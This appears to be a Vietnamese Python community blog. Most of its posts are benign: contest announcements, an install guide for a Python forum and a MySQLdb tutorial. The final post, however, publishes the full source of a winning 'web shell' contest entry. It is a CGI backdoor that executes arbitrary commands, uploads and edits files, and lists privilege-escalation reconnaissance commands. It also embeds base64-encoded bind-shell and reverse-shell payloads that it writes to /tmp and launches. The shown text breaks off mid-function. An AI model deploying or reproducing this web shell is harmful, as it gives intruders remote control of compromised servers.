Python cho người Việt

Python cho người Việt

Cuộc thi viết chương trình theo dõi mã máy

written by Nguyễn Thành Nam, on Jul 22, 2010 12:13:00 PM.

Một người bạn của chúng ta đã có nhã ý tài trợ cho một cuộc thi nhỏ.

Mục tiêu: Viết một công cụ bằng ngôn ngữ Python để thực hiện việc lưu lại những lệnh gọi hàm ở mức hợp ngữ trong khi thực thi của một chương trình thông thường khác.

Ví dụ: Với đoạn mã tương tự như sau:

0x08048552 <main+110>:	mov    DWORD PTR [esp],eax
0x08048555 <main+113>:	call   0x80483d8 <printf@plt>
0x0804855a <main+118>:	mov    eax,0x0
0x0804855f <main+123>:	leave  
0x08048560 <main+124>:	ret 

thì chương trình sẽ in ra thông tin tương tự (có thể tùy ý chỉnh sửa cho đầy đủ hơn) như sau:

* Before printf()
--------------------------------------------------------------------------[regs]
  EAX: 0x08048646  EBX: 0x002B2FF4  ECX: 0x00000003  EDX: 0xBFFFEF9C  
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF0A8  ESP: 0xBFFFEF80  
 

* After printf()
--------------------------------------------------------------------------[regs]
  EAX: 0x0000000A  EBX: 0x002B2FF4  ECX: 0xBFFFEF68  EDX: 0x002B4320  
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF0A8  ESP: 0xBFFFEF80

Yêu cầu: Bắt buộc phải sử dụng ngôn ngữ Python cho chương trình chính. Có thể sử dụng thêm các công cụ phụ hoặc thư viện hỗ trợ như GDB, ptrace.

Hạn nộp bài: Ngày 26 tháng 07 năm 2010

Nộp bài (mã nguồn) về cho admin+frontpage@vithon.org (xin vui lòng bỏ +frontpage).

Giải thưởng: Một giải thưởng duy nhất bao gồm 100.000 đồng tiền mặt và một món quà từ Las Vegas.

Giới thiệu phần mềm Vithon Forum

written by vithon, on Jul 1, 2010 6:49:39 PM.

Nhóm Python Cho Người Việt (PCNV) hân hạnh công bố phần mềm Vithon Forum đến với cộng đồng.

Giới thiệu

Phần mềm Vithon Forum (gọi tắt là VF) là một phần mềm tự do, mã mở, miễn phí với chức năng chính là một diễn đàn thảo luận tương tự như các gói phần mềm phpBB, punBB, pyForum.

VF là một ứng dụng web được viết bằng ngôn ngữ Python theo mô hình WSGI. VF có thể được triển khai với các máy chủ hỗ trợ WSGI hay CGI ví dụ như Apache. VF có thể sử dụng nhiều hệ cơ sở dữ liệu quan hệ như SQLite, MySQL, Oracle.

Tính năng

VF có các tính năng nổi trội sau:

Đơn giản
VF chỉ thực hiện một công việc chính đó là lưu trữ và hiển thị các thảo luận của người dùng một cách tiện lợi nhất. VF không mong muốn trở thành một công cụ tích hợp thư điện tử, lịch cá nhân, danh sách công việc, nhắn tin, tán gẫu, v.v…
Nhỏ gọn
Vì chỉ phục vụ một số ít tác vụ cơ bản của một diễn đàn, toàn bộ chương trình VF (trừ các thư viện ngoài) chỉ chiếm khoảng 100 kilobyte dung lượng dĩa.
An toàn
VF được phát triển với các tính năng an ninh được đặt lên hàng đầu. Vì sự đơn giản và tính nhỏ gọn của VF nên chương trình được thiết kế ưu tiên sự an toàn hơn tính năng, và việc kiểm tra mã nguồn được thực hiện thường xuyên nhằm đảm bảo sự ưu tiên đó.
Thuận tiện
VF đề cao việc sử dụng các chuẩn mở như OpenID để việc sử dụng VF trở nên dễ dàng hơn cho người dùng. Bên canh đó, các tính năng thông thường mà người dùng đã quen thuộc ở các gói phần mềm khác cũng có mặt trong VF như BBCode. Tất cả chỉ nhằm một mục đích tạo ra môi trường thảo luận thuận tiện.

Yêu cầu hệ thống

Để triển khai VF, hệ thống sẽ cần một số ứng dụng và mô-đun sau:

  • Python v2.5 trở lên.
  • Mô-đun mako
  • Mô-đun werkzeug
  • Mô-đun sqlalchemy
  • Mô-đun routes
  • Mô-đun repoze.who.plugins.openid
  • Mô-đun repoze.what.plugins.xml
  • Mô-đun postmarkup
  • Mô-đun unidecode
  • Mô-đun zope.interface

Các mô-đun này có thể được cài đặt bằng setuptools (easy_install) hoặc pip.

Cài đặt

Mã nguồn của VF có thể được tải về từ địa chỉ http://bitbucket.org/vithon/vithon-forum.

Giải nén mã nguồn vào một thư mục nào đấy, giả sử như /opt/vithon-forum.

Dựa vào nội dung của tập tin config.py để tạo tập tin siteconfig.py mới, với các dòng lệnh gán giá trị phù hợp cho biến toàn cục. Các biến quan trọng cần thay đổi là COOKIE_SECRET, DATABASE_URL, STATIC_CONTENT_PATH, SESSION_STORAGE_PATH.

Tập tin siteconfig.py có thể có dạng sau:

BOARD_NAME = 'Acme Hideout'
COOKIE_SECRET = 'y@h0O'
DATABASE_URL = 'sqlite:////opt/vithon-forum/db.db'
STATIC_CONTENT_PATH = '/opt/vithon-forum/static'
SESSION_STORAGE_PATH = '/tmp/session'
SESSION_COOKIE_NAME = 'sid'
ENTRIES_PER_PAGE = 10
ORGANIZATION = 'Acme Corp'

Sau đó, chúng ta cần phải khởi tạo cơ sở dữ liệu bằng lệnh initdb.

$ cd /opt/vithon-forum
$ python forum.py initdb

Việc cài đặt đã hoàn tất.

Vận hành

Mặc dù cơ sở dữ liệu đã được khởi tạo khi cài đặt nhưng chúng ta chưa có dữ liệu nào trong cơ sở dữ liệu cả. Do đó, trước khi chạy VF, chúng ta sẽ cần phải tạo một số diễn đàn. Chúng ta sẽ sử dụng lệnh shell để thực hiện việc này.

$ cd /opt/vithon-forum
$ python forum.py shell

Lệnh shell sẽ mở một phiên làm việc tương tác cho phép chúng ta sử dụng Python để tác động đến chương trình VF. Chúng ta sẽ nhập vào đoạn mã Python như sau.

from model import *
f1 = Forum(u'Forum 1', u'Dien giai cho Forum 1')
f11 = Forum(u'Forum 1.1', u'Dien giai cho Forum 1.1', f1)
f12 = Forum(u'Forum 1.2', u'Dien giai cho Forum 1.2', f1)
f2 = Forum(u'Forum 2', u'Dien giai cho Forum 2')
f21 = Forum(u'Forum 2.1', u'Dien giai cho Forum 2.1', f2)
f22 = Forum(u'Forum 2.2', u'Dien giai cho Forum 2.2', f2)
session.add(f1)
session.add(f2)
session.commit()

Các câu lệnh trên tạo ra cấu trúc diễn đàn như sau:

Forum 1
  |
  +-- Forum 1.1
  |
  +-- Forum 1.2

Forum 2
  |
  +-- Forum 2.1
  |
  +-- Forum 2.2

Vì VF không có các tính năng quản lý qua web nên lệnh shell cũng chính là môi trường quản lý chính.

Cuối cùng, để chạy VF, chúng ta sẽ dùng lệnh runserver tương tự như sau:

$ cd /opt/vithon-forum
$ python forum.py runserver -h 127.0.0.1 -p 8080

Khi này, nếu ta mở trình duyệt lên và đi đến trang http://127.0.0.1:8080 thì chúng ta sẽ thấy diễn đàn đã hoạt động.

Triển khai theo mô hình CGI

Chúng ta cũng có thể triển khai VF theo mô hình CGI.

Đầu tiên chúng ta cần chép tập tin forum.cgi vào thư mục chứa các tập tin CGI (ví dụ như /var/www/cgi-bin).

Tiếp đến chúng ta cần sửa các lệnh thiết lập đường dẫn trong tập tin này cho phù hợp.

# Set the path to store python package cache
os.environ['PYTHON_EGG_CACHE'] = '/tmp/.egg'
# Set the path to vithon forum here
sys.path.insert(0, '/opt/vithon-forum')

Nếu như tập tin siteconfig.py nằm ở thư mục khác (ví dụ như trong thư mục /var/www/cgi-bin), thì chúng ta cũng sẽ cần thêm vào các dòng bên dưới. Nếu siteconfig.py nằm chung chỗ với các tập tin khác của VF thì chúng ta không cần các dòng lệnh này.

# Set the path to siteconfig.py here
sys.path.insert(0, '/var/www/cgi-bin')

Và cuối cùng chúng ta chỉ cần cấu hình máy chủ web để sử dụng tập tin forum.cgi như là một ứng dụng CGI. Thông tin về vấn đề này được nói rõ hơn trong tài liệu đi kèm với máy chủ web.

Diễn đàn vithon hoạt động trở lại

written by Phan Đắc Anh Huy, on Jun 8, 2010 5:21:00 PM.

Chào mọi người, sau một thời gian gián đoạn, diễn đàn Vithon đã hoạt động trở lại tại địa chỉ http://vithon.org/forum.
Phiên bản mới của diễn đàn do chính các thành viên của nhóm PCNV phát triển, được viết hoàn toàn bằng ngôn ngữ Python. Mã nguồn của diễn đàn được host tại BitBuket.
Hiện nay nhóm vẫn đang tiếp tục hoàn thiện các tính năng cơ bản và mở rộng cho diễn đàn. Chúng tôi chào đón mọi ý kiến đóng góp về tính năng sử dụng cũng như tham gia viết mã của tất cả các bạn.

Kết quả cuộc thi Giải Toán Bằng Python

written by Phan Đắc Anh Huy, on Jun 3, 2010 11:04:00 AM.

Sau một tuần tranh tài sôi nổi, cuộc thi Giải Toán Bằng Python mừng ngày Quốc Tế Thiếu Nhi đã kết thúc tốt đẹp.
Ngày 1/6, với sự tham dự của hầu hết các thí sinh và cổ động viên, anh Nguyễn Thành Nam - trưởng nhóm Python cho người Việt - đã tiến hành chấm bài. Đúng như dự đoán trong thời gian diễn ra kỳ thi của anh, mặc cho sự cạnh tranh rất quyết liệt giữa các thí sinh, vẫn có một bài thi tỏ ra vượt trội và giành chiến thắng một cách thuyết phục. Đó là bài dự thi của bạn Nhâm Xuân Nam, với nickname namnx.

Với nội dung thi gần gũi, dễ tiếp cận nhưng cũng không kém phần hấp dẫn, cuộc thi đã thu hút sự tham gia đông đảo hơn rất nhiều so với hai cuộc thi trước. Chất lượng cuộc thi rất cao khi hầu hết các thí sinh đều tìm ra được công thức cho phép tính nhanh các cặp số, một số kỹ thuật về multi-processing cũng được các thí sinh tìm hiểu và tận dụng rất hiệu quả. Bài của bạn Nhâm Xuân Nam đã đạt được kết quả cách biệt với số n lớn nhất dài hơn 2100 chữ số!

Nói về bài thi đoạt giải nhất, bạn Hoàng Quốc Thịnh - người đạt giải nhất cuộc thi đầu tiên - và anh Nguyễn Thành Nam đều chung một nhận định: “Một bài thi chuẩn mực, không có gì phải phàn nàn cả!”.

Mã nguồn của các bài dự thi cùng với chương trình chấm có thể được tải về tại đây. Hình sau là ảnh của lễ trao giải. Bạn Lê Ngọc Hiếu đại diện cho nhóm PCNV bên phải, trao tặng giải thưởng cho người chiến thắng bên trái.

Một lần nữa xin chúc mừng bạn Nhâm Xuân Nam!

MySQLdb - Thiết lập kết nối

written by Phạm Thị Minh Hoài, on May 31, 2010 11:55:00 PM.

MySQLdb là một wrapper của thư viện MySQL C API: _mysql. Nó cho phép bạn viết các ứng dụng python khả chuyển (portable) chạy trên nhiều môi trường khác nhau để truy cập vào máy chủ có hệ quản trị CSDL mysql.

Bài viết sau đây đề cập một số khía cạnh liên quan tới thiết lập kết nối CSDL. Đó là vấn đề quan trọng đầu tiên khi làm việc với bất kỳ hệ quản trị CSDL nào.

Bản cài đặt MySQLdb có thể download trên trang: http://sourceforge.net/projects/mysql-python/. Download có sẵn cho các nền tảng windows 32 bit và các họ unix. Đáng tiếc là MySQLdb hiện chỉ sử dụng cho các phiên bản python từ 2.3 đến 2.6.

Hello World

Giả thiết trên máy của bạn đã cái mysql với cổng mặc định (3306) và account root không cần password. Đoạn chương trình sau minh họa một kết nối đơn giản nhất có thể. Nó in ra các db có trong CSDL này:

>>> db = MySQLdb.connect(user="root")
>>> cursor = db.cursor()
>>> query = "SHOW DATABASES"
>>> cursor.execute(query)
6L
>>> cursor.fetchall()
(('information_schema',), ('cdcol',), ('mysql',), ('phpmyadmin',), ('test',))

Kết nối theo IP

Truy cập từ xa đến một hệ thống phức tạp hơn, bạn cần biết các tham số:

  • Máy chủ chứa mysql (mặc định: localhost hay 127.0.0.1)
  • Cổng truy cập vào mysql (mặc định: 3306)
  • User, Password mà bạn được cấp
  • Tên CSDL bạn muốn truy cập

Ví dụ sau in ra các bảng của CSDL mydb trên máy 192.168.90.31 với cổng 3310:

>>> db = MySQLdb.connect(user="you", db="mydb", passwd="mypw", \
        host="192.168.90.31", port=3310)
>>> cursor = db.cursor()
>>> query = "SHOW TABLES"
>>> cursor.execute(query)
>>> cursor.fetchall()

Kết nối theo socket

Trên các localhost cho phép dùng socket bạn có thể viết:

db = MySQLdb.connect(db="test", user="hoaiptm", passwd="hoaiptm", \
    unix_socket="/opt/hoaiptm/mysql/mysql.sock")

Truy cập mysql qua các socket trên unix tương tự như named pipe trên windows. Nó cho phép các ứng dựng localhost tạo các kết nối cực kỳ nhanh đến CSDL. Nếu bạn chưa hiểu rõ về socket bạn có thể đọc: http://beej.us/guide/bgipc/output/html/multipage/unixsock.html.

Giấu password

Các ví dụ trên đây đều yêu cầu phải có password đặt trong mã nguồn python. MySQLdb cho phép bạn giấu chúng trong một nơi mà chỉ bạn được phép truy cập:

db = MySQLdb.connect(db="yourdb", read_default_file="/home/hoaiptm/mysql.ini")

tập tin options: /home/hoaiptm/mysql.ini có thể có nội dung như sau:

[client]
port=3310
socket=/opt/hoaiptm/mysql/mysql.sock
user=hoaiptm
password=hoaiptm

Hướng dẫn về các option này có thể đọc trong tài liệu: http://www.yellis.net/docs/mysql/manuel_Option_files.html#Option_files

Thay đổi charset mặc định

Các kết nối trong các ví dụ trên sử dụng charset mặt định là latin1, do đó bạn không lấy được các dữ liệu tiếng Việt. Chẳng hạn bạn tạo một bảng user với chartset utf8 trong CSDL test như sau:

USE `test`;
CREATE TABLE `user` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `account` varchar(50) DEFAULT NULL,
  `fullname` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=3 **DEFAULT CHARSET=utf8** ROW_FORMAT=DYNAMIC;
INSERT INTO `user` VALUES (1,'hoaiptm','Phạm Thị Minh Hoài');
INSERT INTO `user` VALUES (2,'trangnt','Ngô Thu Trang');

Sau đó cố gắng lấy dữ liệu từ bảng user:

>>> db = MySQLdb.connect(user="hoaiptm", db="test", passwd="hoaiptm", port=3310)
>>> cursor = db.cursor()
>>> query = "SELECT fullname FROM user"
>>> cursor.execute(query)
2L
>>> cursor.fetchall()
(('Ph?m Th? Minh Ho\xe0i',), ('Ng\xf4 Thu Trang',))

Các dấu ? cho thấy các ký tự utf8 đã không được truyền tải đúng. Để giải quyết vấn đề này chúng ta thêm tùy chọn charset = “utf8” trong connection:

>>> db = MySQLdb.connect(user="hoaiptm", db="test", passwd="hoaiptm", \
    port=3310, charset="utf8")
...
>>> cursor.fetchall()
((u'Ph\u1ea1m Th\u1ecb Minh Ho\xe0i',), (u'Ng\xf4 Thu Trang',))

Lúc này tất cả các dữ liệu trong trường text, char, varchar đều được trả về dạng unicode.

Yêu cầu trả về từ điển

MySQLdb cho phép trả về các kết quả dạng từ điển, để làm được điều đó bạn thêm tùy chọn cursorclass=MySQLdb.cursors.DictCursor. Ví dụ:

>>> db = MySQLdb.connect(user="hoaiptm", db="test", passwd="hoaiptm", port=3310, \
    charset="utf8", cursorclass=MySQLdb.cursors.DictCursor)
>>> cursor = db.cursor()
>>> query = "select * from user"
>>> cursor.execute(query)
2L
>>> cursor.fetchall()
({'account': u'hoaiptm', 'fullname': u'Ph\u1ea1m Th\u1ecb Minh Ho\xe0i', 'Id': 1L}, \
 {'account': u'trangnt', 'fullname': u'Ng\xf4 Thu Trang', 'Id': 2L})

Chương trình sẽ chạy chậm đi chút xíu, nhưng bù lại kết quả trả về rất dễ sử dụng.

Hoaiptm

Phát động cuộc thi Giải Toán Bằng Python

written by Phan Đắc Anh Huy, on May 24, 2010 2:32:00 PM.

Sau thành công của 2 lần thi trước, nhóm PCNV tiếp tục phát động cuộc thi Giải Toán Bằng Python để chào mừng ngày quốc tề thiếu nhi đang đến rất gần. Đề thi rất đơn giản:

Hãy dùng ngôn ngữ lập trình Python để tính toán và xuất ra các cặp số n và k thỏa mãn:
1 + 2 + … + n = n + 1 + n + 2 + … + n + k


Input : Không có.
Output : Standard Output.
Output Format : In trên nhiều dòng, mỗi dòng là một cặp số n, k cách nhau bằng một hoặc nhiều khoảng trắng.

Yêu cầu :
- Chỉ được dùng các module built-in.
- Không được in ra các giá trị n, k đã tính toán sẵn trước khi chương trình thực thi dưới bất kỳ hình thức nào.
- Chương trình sẽ được người chấm thực thi trong vòng 30 giây. Hết thời gian này, chương trình sẽ bị ngắt.
- Chương trình nào in ra được nhiều cặp số n,k nhất sẽ chiến thắng.
- Chương trình sẽ bị loại nếu in ra bất cứ cặp số n,k nào không chính xác.
Thời hạn dự thi: Từ ngày hôm nay (24/05/2010) đến hết ngày 31/05/2010.


Bài dự thi xin gửi về địa chỉ email admin+frontpage@vithon.org (xin vui lòng bỏ +frontpage trước khi gửi), bạn có thể gửi nhiều lần trong trường hợp cải thiện được kết quả của mình. Chương trình được gửi cuối cùng sẽ được nhóm PCNV sử dụng để chấm điểm chung cuộc.

Trong quá trình làm bài, nếu có nhu cầu trao đổi, đặt câu hỏi, hay chỉ đơn giản là muốn trò chuyện với những người bạn rất dễ thương trong nhóm PCNV, các bạn có thể tham gia phòng tán gẫu #vithon ở máy chủ irc.freenode.net
Đã là cuộc thi thì không thể thiếu giải thưởng, phần thưởng cho người thắng cuộc là 100.000 VND và một buổi trò chuyện thân mật với admin nhóm PCNV.

ChickenLittle Shell

written by vithon, on May 19, 2010 1:41:11 PM.

Nhân dịp kỷ niệm 120 năm ngày sinh lãnh tụ Hồ Chí Minh, nhóm PCNV xin gửi đến bạn đọc bài dự thi đạt giải nhất cuộc thi Web Shell Programming Contest kết thúc vào ngày 15 tháng 05 vừa qua.

#!/usr/bin/python
"""
ChickenLittle Shell by Zep
"""

try:
    import cgitb; cgitb.enable()
except:
    pass
import sys, cgi, os, base64, subprocess
from time import strftime
from string import Template

bind_port = """aW1wb3J0IG9zLCBzeXMsIHNvY2tldCwgdGltZQpQT1JUID0gaW50KHN5cy5hcmd2WzFdKQpQVyA9
IHN5cy5hcmd2WzJdCnNvY2sgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5T
T0NLX1NUUkVBTSkKc29jay5iaW5kKCgiMC4wLjAuMCIsUE9SVCkpCnNvY2subGlzdGVuKDUpClNI
RUxMPSIvYmluL2Jhc2ggLWkiCndoaWxlIFRydWU6CiAgICB0cnk6CQogICAgICAgIChjb25uLGFk
ZHIpID0gc29jay5hY2NlcHQoKQogICAgICAgIG9zLmR1cDIoY29ubi5maWxlbm8oKSwwKQogICAg
ICAgIG9zLmR1cDIoY29ubi5maWxlbm8oKSwxKQogICAgICAgIG9zLmR1cDIoY29ubi5maWxlbm8o
KSwyKQogICAgICAgIHByaW50ID4+IHN5cy5zdGRlcnIsICdQYXNzd29yZDogJywKICAgICAgICBw
ID0gY29ubi5yZWN2KDEwMjQpCiAgICAgICAgcCA9IHAuc3RyaXAoKQogICAgICAgIGlmIHAgPT0g
UFc6CiAgICAgICAgICAgIG9zLnN5c3RlbSgiL2Jpbi9iYXNoIC1pIikKICAgICAgICBlbHNlOgog
ICAgICAgICAgICBwcmludCA+PiBzeXMuc3RkZXJyLCAiR28gdG8gaGVsbCIKICAgICAgICBjb25u
LmNsb3NlKCkKICAgIGV4Y2VwdCBFeGNlcHRpb24sZTogIAogICAgICAgIHByaW50IGUKICAgICAg
ICB0aW1lLnNsZWVwKDEpCg=="""

back_connect = """aW1wb3J0IHNvY2tldCwgb3MsIHN5cwpIT1NUID0gc3lzLmFyZ3ZbMV0KUE9SVCA9IGludChzeXMu
YXJndlsyXSkKU0hFTEwgPSAiL2Jpbi9iYXNoIC1pIgpzb2NrID0gc29ja2V0LnNvY2tldChzb2Nr
ZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnNvY2suY29ubmVjdCgoSE9TVCxQT1JUKSkK
dHJ5OgogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAgb3MuZHVwMihzb2NrLmZpbGVu
bygpLCAxKQogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAyKQogICAgb3Muc3lzdGVtKFNIRUxM
KQpleGNlcHQgRXhjZXB0aW9uLGU6CiAgICBwcmludCBlCnNvY2suY2xvc2UoKQo="""

# HTML

html = Template("""
<html>
<head>
    <title>ChickenLittle Shell</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> 
    <style>
        body {
            color:#fff;
            background-color:#585858;
            font-size:11px;
        }
        table {
            font-family: Verdana, Tahoma;
            font-size:11px;
        }
        tr {
            border: #D9D9D9 1px solid;
        }
        td {
            border: #D9D9D9 1px solid;
        }
        a { 
            color: #fff;
        }
        input {
            background-color:#800000;
            color:#FFFFFF;
            font-family:Tahoma;
            font-size:8pt;
        }
        select {
            background-color:#800000;
            color:#FFFFFF;
            font-family:Tahoma;
            font-size:8pt;
        }
        textarea {
            background-color:#800000;
            color:#FFFFFF;
            font-family:Tahoma;
            font-size:8pt;
        }
    </style>
</head>
<body>
    <script type="text/javascript">
        function toggleEnviron()
        {
            if (document.getElementById('environ_table').style.display=="none")
                document.getElementById('environ_table').style.display="";
            else
                document.getElementById('environ_table').style.display="none";
        }
    </script>
    <center><h2>=== ChickenLittle Shell ===</h2></center>
    <a href="javascript:void(0)" onclick="javascript:toggleEnviron()">Show/Hide Environment variables</a>
    $environ_table
    <p />
    <table width="100%">
        <tr><td>
            uname -a: $uname <br />
            $uid
        </td></tr>
    </table>
    <p />
    <div style="display:$edit_file_box_visibility">
        <b>Edit File:</b> <br />
        <form method="POST" action="?">
            <textarea name="file_content" cols="200" rows="30" >$file_content</textarea>
            <input type="hidden" value="$cur_dir" size="50" name="cur_dir" /> <br />
            <input type="hidden" value="save_file" size="50" name="command" /> <br />
            <input type="hidden" value="$file_name" size="50" name="file_name" /> <br />
            <input type="submit" value="Save">       
        </form>
        <p />
    </div>
    <table width="100%">
        <tr>    
            <td style="text-align:center">
                <b>:: Change Dir ::</b><br />
                <form action="?" method="POST">
                    <input type="text" value="$cur_dir" size="50" name="cur_dir">&nbsp;<input type="submit" value="Go">
                </form>
            </td>
            <td style="text-align:center">
                <b>:: Get File ::</b><br />
                <form action="?" method="POST">
                    <input type="text" value="$cur_dir" size="50" name="cur_dir">&nbsp;<input type="submit" value="Go">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>
            <td colspan="2" style="text-align:center"><b>$cur_dir</b></td>
        </tr>
        <tr>
            <td><pre>$list_files</pre></td>
        </tr>
    </table>
    <p />
    <b>Result of command</b><br />
    <table width="100%">
        <tr>
            <td>
                <textarea cols="200" rows="10">$command_result</textarea>
            </td>
        </tr>
    </table>
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Execute Command ::</b><br />
                <form action="?" method="POST">
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
                    <input type="text" value="" size="50" name="command">&nbsp;<input type="submit" value="Execute">
                </form>
            </td>
            <td style="text-align:center">
                <b>:: Useful Commands ::</b><br />
                <form action="?" method="POST">
                    <select name="command">
                        <option value="uname -a">Kernel version</option>
                        <option value="w">Logged in users</option>
                        <option value="lastlog">Last to connect</option>
                        <option value="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins</option>
                        <option value="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!</option>
                        <option value="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?</option>
                        <option value="which wget curl w3m lynx">Downloaders?</option>
                        <option value="cat /proc/version /proc/cpuinfo">CPUINFO</option>
                        <option value="netstat -atup | grep IST">Open ports</option>
                        <option value="locate gcc">gcc installed?</option>
                    </select>
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
                    <input type="submit" value="Go" />
                </form>
            </td>
        </tr>
    </table>    
    <p />
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Create Dir ::</b><br />
                <form action="?" method="POST">
                    <input type="text" value="$cur_dir" size="50" name="new_dir">&nbsp;<input type="submit" value="Create">
                    <input type="hidden" value="mkdir" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
            <td style="text-align:center">
                <b>:: Upload File ::</b><br />
                <form action="?" method="POST" enctype="multipart/form-data">
                    <input type="file" name="file">&nbsp;<input type="submit" value="Upload">
                    <input type="hidden" value="upload" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Search Text in Files ::</b><br />
                <form action="?" method="POST">
                    <table width="100%">
                        <tr>
                            <td width="50%" style="border:none;text-align:right">Text: </td>
                            <td style="border:none"><input type="text" value="" size="30" name="search_text" /></td>
                        </tr>
                        <tr>
                             <td width="50%" style="border:none;text-align:right">Directory: </td>
                            <td style="border:none"><input type="text" value="$cur_dir" size="30" name="search_dir" /></td>
                        </tr>
                        <tr>
                             <td width="50%" style="border:none;text-align:right">Include File Pattern: </td>
                            <td style="border:none"><input type="text" value="" size="30" name="include_pattern" /></td>
                        </tr>
                        <tr>
                             <td width="50%" style="border:none;text-align:right">Exclude File Pattern: </td>
                            <td style="border:none"><input type="text" value="" size="30" name="exclude_pattern" /></td>
                        </tr>
                    </table>
                    <input type="submit" value="Search">
                    <input type="hidden" value="search_text" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
            <td style="text-align:center;vertical-align:top">
                <b>:: Edit File ::</b><br />
                <form action="?" method="POST">
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
                    <input type="hidden" value="edit_file" size="50" name="command">
                    <input type="text" value="$cur_dir" size="50" name="file_name">
                    &nbsp;<input type="submit" value="Edit">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Bind port to /bin/bash ::</b><br />
                <form action="?" method="POST">
                    <table width="100%">
                        <tr>
                            <td width="50%" style="border:none;text-align:right">Port: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="port" /></td>
                        </tr>
                        <tr>
                            <td style="border:none;text-align:right">Password: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="password" /></td>
                        </tr>
                    </table>
                    <input type="submit" value="Bind">
                    <input type="hidden" value="bind_port" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
            <td style="text-align:center" width="50%">
                <b>:: back-connect ::</b><br />
                <form action="?" method="POST">
                    <table width="100%">
                        <tr>
                            <td width="50%" style="border:none;text-align:right">IP: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="ip" /></td>
                        </tr>
                        <tr>
                            <td style="border:none;text-align:right">Port: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="port" /></td>
                        </tr>
                    </table>
                    <input type="submit" value="Connect">
                    <input type="hidden" value="back_connect" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>
            <td style="text-align:center"><b>(.)(.) [ChickenLittle Shell by Zep] (.)(.)</b></td>
        </tr>
    </table>
</body>
</html>
""")

scriptname = ""

if os.environ.has_key("SCRIPT_NAME"):
    scriptname = os.environ["SCRIPT_NAME"]

def get_environ_table():
    s = "<table style=\"display:none\" id=\"environ_table\">"
    for k in os.environ:
        s+="<tr><td>%s</td><td>%s</td></tr>"%(k,os.environ[k])
    s+="</table>"
    return s

def run_command(command):
    p = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=True)
    (i,o) = p.stdin,p.stdout
    return o.read()

def get_param(form, param,default=None):
    if form.has_key(param):
        return form.getvalue(param)
    return default

def can_write(file_name):
    try:
        f = open(file_name,"w")
        f.close()
        return True
    except:
        return False

def put_script(base_name,encoded_script):
    script = base64.b64decode(encoded_script)
    i = 0
    file_name = "/tmp/"+base_name + str(i)  
    while not can_write(file_name):
        i+=1
        file_name = "/tmp/"+base_name + str(i)  
    
    f = open(file_name,"w")
    f.write(script)
    f.close()
    return file_name

def main():

    print "Content-type: text/html"         # header
    print                                   # blank line

    form = cgi.FieldStorage()
    uname = run_command("uname -a")
    uid = run_command("id")

    cur_dir = get_param(form, "cur_dir",os.getcwd())

    if not os.path.exists(cur_dir):
        cur_dir = os.getcwd()
    os.chdir(cur_dir)
    command = get_param(form,"command")
    command_result = ""

    file_content = ""
    file_name = ""
    edit_file_box_visibility = "None"

    if command == "mkdir":
        new_dir = get_param(form,"new_dir")
        command_result = run_command("mkdir " + new_dir)	
    elif command == "upload":
        upload_file = form["file"]
        try:
            f  = open(upload_file.filename,"w")
            while True:
                chunk = upload_file.file.read(1024)
                if not chunk: break
                f.write(chunk)
            f.close()
        except Exception,e:
            command_result = str(e)

    elif command == "search_text":
        search_text = get_param(form,"search_text","")
        search_dir = get_param(form,"search_dir",".")
        include_pattern = get_param(form,"include_pattern")
        exclude_pattern = get_param(form,"exclude_pattern")
        cmd = "grep -ir \"%s\" %s " % (search_text,search_dir)
        if include_pattern:
            cmd += "--include=%s " % include_pattern
        if exclude_pattern:
            cmd += "--include=%s " % exclude_pattern
        command_result = run_command(cmd)

    elif command == "edit_file":
        file_name = get_param(form,"file_name")
        try:
            f = open(file_name,"r")
            file_content = f.read()
            f.close()
            edit_file_box_visibility = ""            
        except:
            command_result = "Cannot open file"
            file_content = ""
            edit_file_box_visibility = "None"

    elif command == "save_file":
        file_name = get_param(form,"file_name")
        file_content = get_param(form,"file_content")
        try:
            f = open(file_name,"w")
            f.write(file_content)
            f.close()
            command_result = "Successful"
        except:
            command_result = "Cannot write to file"
                
    elif command == "bind_port":
        port = get_param(form,"port")
        password = get_param(form,"password")
        file_name = put_script("bp",bind_port)
        pid = subprocess.Popen(["python %s %s %s" % (file_name,port,password)],shell=True).pid
        command_result = "Process ID : %d " % pid

    elif command == "back_connect":
        port = get_param(form,"port")
